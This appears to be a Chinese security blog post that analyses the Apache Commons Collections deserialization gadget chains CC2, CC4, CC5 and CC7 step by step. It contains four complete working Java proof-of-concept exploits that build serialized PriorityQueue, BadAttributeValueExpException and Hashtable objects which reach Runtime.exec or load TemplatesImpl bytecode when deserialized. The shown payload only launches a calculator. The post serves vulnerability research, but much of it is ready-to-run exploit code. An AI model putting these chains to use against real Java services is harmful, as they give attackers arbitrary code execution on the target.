Java反序列化-Commons Collections2、4、5、7利用链分析

Java反序列化-Commons Collections2、4、5、7利用链分析

Commons Collections2、4、5、7用的都是commons.collections4版本的链


前置知识

PriorityQueue优先级队列是基于优先级堆的一种特殊队列,会给每个元素定义出”优先级“,取出数据的时候会按照优先级来取。

默认优先级队列会根据自然顺序来对元素排序。

而想要放入PriorityQueue的元素,就必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。

如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序


构造方法

PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常用方法:

add(E e)                       将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。

案例:

public static void main(String[] args) throws NotFoundException {
PriorityQueue priorityQueue=new PriorityQueue(2);
priorityQueue.add(4);
priorityQueue.add(3);
priorityQueue.add(2);
priorityQueue.add(1); //add()添加指定元素到队列
System.out.println(priorityQueue);
System.out.println(priorityQueue.poll()); //poll获取队列的头
}

Commons Collections4

Gadget chain

getTransletInstancePriorityQueue.readObject
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare
ChainedTransformer.transform
TrAXFilter
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses
cc4.newInstance()
Runtime.exec()

利用链分析

我们看下这个链与前面几条链相比只是transform方法找的不一样,其他前面是一样的

img

最后我们找到了这个,transformer可控并且可以序列化

img

我们可以看看谁调用了compare

img

可以看到这里这里调用compare

img

我们查下谁调用了siftDownUsingComparator

img

img

我们继续往下走,看看谁调用siftDown

img

img

最后找到了readObject方法调用

img

链这样我们就找完了

img

我们首先看下这个compare方法需要传哪些值,这里的this.transformer需要传InvokerTransformer

img

通过构造方法进行传入

img

PriorityQueue需要传入TransformingComparator对象

img

我们先调试看看,还需要哪些参数

img

这里的queue属性是无法被序列化的,但是如果是拆开单个存储的话,是可以被序列化的

img

进入heapify,可以看到我们这边就直接跳出去了,size=0,右移三位,size右移1位则是1,所以说size=2才能进入这个方法

img

所以这里我们要传入queue,这就要用到add方法,所以我们看下这个方法

img

add调用了offer方法,最终调用siftUp方法

img

最终还是会调用到这里

img

最终还是会调用到compare的方法,这样就会造成本地执行

img

所以老样子,我们要将在add前面的时候先不触发执行,等执行完add方法后,再将填入参数修改回来

img


POC

最终POC

package ysoserial.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test4 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

//设置_name属性
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");

//设置_bytecodes属性
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

//设置codes属性
byte[] code = Files.readAllBytes(Paths.get("E://tmp/calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

//满足前面调用触发
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

//size满足为2
priorityQueue.add(1);
priorityQueue.add(2);

//防止add在序列化前触发
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);

//序列化和反序列化
serialize(priorityQueue);
unserialize();
}

//序列化和反序列化
public static void serialize(Object o) throws IOException {
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oo.writeObject(o);
}

public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("ser.bin")));
Object object = (Object) ois.readObject();
System.out.println("反序列化成功!");
return object;
}
}

Commons Collections2

Gadget chain

PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingConparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTranformer()
Method.invoke()
Runtime.exec()

与Commons Collections4链不同的是,不走TrAXFilter实例化,想到其他地方调用到TemplatesImpl.newTranformer()

利用链分析

整条链是这样的

img

传入queue,这个是我们可控的

img

调用了siftDown函数,传入x是我们可控的

img

comparator.compare传入的x

img

通过构造方法,第一个参数是此优先级队列的初始容量,我们传入2,因为我们就传2个,第二个参数是传入我们的TransformingComparator,这样才能调用到TransformingComparator.compare

img


接着下一步就调用到transformer.transform,这里的transformer我需要传InvokerTransformer

img

InvokerTransformer我们要调用到newTransformer,所以我们这样写

InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTranformer", new Class[]{}, new Object[]{});

//为了调用invokerTransformer.transform
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

//队列初始容量为2,为了调用到TransformingComparator.compare
PriorityQueue priorityQueue = new PriorityQueue<>(2,transformingComparator);

//size满足为2,必须传入第二个,否则一开始就返回错误
priorityQueue.add(templates);
priorityQueue.add(templates);

构造完后,就传入transformer(templates)

img


最后触发到getTransletInstance

img

最终执行到我们传入的_class

img


由于add方法会在本地直接执行

img


POC

最终POC

package ysoserial.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

//设置_name属性
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");

//设置_bytecodes属性
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

//设置codes属性
byte[] code = Files.readAllBytes(Paths.get("E://tmp/calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);

InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(2,transformingComparator);

//size满足为2
priorityQueue.add(templates);
priorityQueue.add(templates);

//反射修改回来
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);

// serialize(priorityQueue);
unserialize();
}

//序列化和反序列化
public static void serialize(Object o) throws IOException {
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oo.writeObject(o);
}

public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("ser.bin")));
Object object = (Object) ois.readObject();
System.out.println("反序列化成功!");
return object;
}
}

Commons Collections5

Gadget chain

ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

我们可以看到这里与CC1链区别就是在前面的readObject,最后是通过LazyMap调用触发的transform


利用链分析

可以看到后半段的写法是一样的

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();

map.put("value","bbb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

首先是BadAttributeValueExpException类,由于没有继承Serializable

img

可以看到是通过vaobj.toString(),所以我们要对val进行反射传值

img

首先我们要传val进去使他进到TiedMapEntry.toString(),我们先随便new一个TiedMapEntry,先随便传一些参数进来,我们后面看看需要怎么才能满足后面

img

进入getValue方法

img

map传入LazyMap的get方法,key的话我们可以随便传,因为到后面的transform,会将字符串进行覆盖为Runtime.class

img

首先是factory,这个是我们需要执行哪个的transform方法

img

所以key传入的object也就是我们的ChainedTransformer

img

Map decorate = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");

最终走到这里

img


POC

最终POC

package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();

Map decorate = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");

//修改val值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class<?> c = Class.forName("javax.management.BadAttributeValueExpException");
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

//序列化和反序列化
serialize(badAttributeValueExpException);
unserialize();
}

//序列化和反序列化
public static void serialize(Object o) throws IOException {
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oo.writeObject(o);
}

public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("ser.bin")));
Object object = (Object) ois.readObject();
System.out.println("反序列化成功!");
return object;
}
}

Commons Collections7

Gadget chain

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

CC7仍是使用LazyMap来构造利用链,不同的是CC7使用了新的链Hashtable来触发LazyMap利用链,最终导致利用代码


前置知识

序列化过程

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// 读取table数组的容量
int origlength = s.readInt();
//读取table数组的元素个数
int elements = s.readInt();

//计算table数组的length
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
//根据length创建table数组
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

//反序列化,还原table数组
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}

Hashtable有一个Entry []类型的table属性,并且还是一个数组,用于存放元素(键值对)。Hashtable在序列化时会先把table数组的容量写入到序列化流中,再写入table数组中的元素个数,然后将table数组中的元素取出写入到序列化流中。


反序列化过程

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// 读取table数组的容量
int origlength = s.readInt();
//读取table数组的元素个数
int elements = s.readInt();

//计算table数组的length
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
//根据length创建table数组
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

//反序列化,还原table数组
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}

Hashtable会先从反序列化流中读取table数组的容量和元素个数,并根据origlength 和elements 计算出table数组的length,再根据计算得到的length来创建table数组(origlength 和elements可以决定table数组的大小),然后从反序列化流中依次读取每个元素,然后调用reconstitutionPut方法将元素重新放入table数组(Hashtable的table属性),最终完成反序列化。




reconstitutionPut方法是一个很重要的方法,我们进一步分析一下这个方法

reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中。

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
//value不能为null
if (value == null) {
throw new java.io.StreamCorruptedException();
}

//重新计算key的hash值
int hash = key.hashCode();
//根据hash值计算存储索引
int index = (hash & 0x7FFFFFFF) % tab.length;
//判断元素的key是否重复
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
//如果key重复则抛出异常
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
//key不重复则将元素添加到table数组中
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞


利用链分析

前部分的poc都是一样的

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

首先是Hashtable的readObject方法,要想走到下面for循环,我们需要给put元素

img

public static void main(String[] args) throws Exception {
Hashtable hashtable = new Hashtable();
hashtable.put("yy",1);
hashtable.put("zZ",1);

serialize(hashtable);
unserialize();
}

第一次调用reconstitutionPut时,会把key和value注册进table中,由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因

img

在后面给tab进行赋值

img

首先是要满足e.hash == hash才能走到判断e.key.equals(key),这里的e就是我们的传入键的值,该方法在判断重复元素的时候校验了两个元素的hash值是否一样

这里的yy和zZ的hash是一样的,所以传入yy和zZ


之后我们看下key要如何可控,将第二次传入put的时候,走到LazyMap#equals方法,LazyMap并没有equals方法,LazyMap没有equals方法,那么调用的就是其父类的equals方法

img

因此最终调用HashMap继承的抽象类AbstractMap中的equals方法,我们接下来要走到get方法,想办法调用LazyMap.get上,可以看到AbstractMap#equals(Object o)传入参数o是取决于reconstitutionPut方法中调用e.key.equals(key)方法中传入的key值

img

这里的key值是yy,但是不妨我们调用transform,但是这里是需要给factory传值,这也是为什么前面有decorate对map和factory进行传值

img

这里我们传入的是chainedTransformer,最终走完链

img

为什么最后要remove(“yy”)?

img

为什么要先指定一个fakeTransformers?

因为在序列化的时候会将在第二次put的时候,调用到m.get造成触发

img


POC

package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Test7 {

public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
上一篇

Fastjson反序列化分析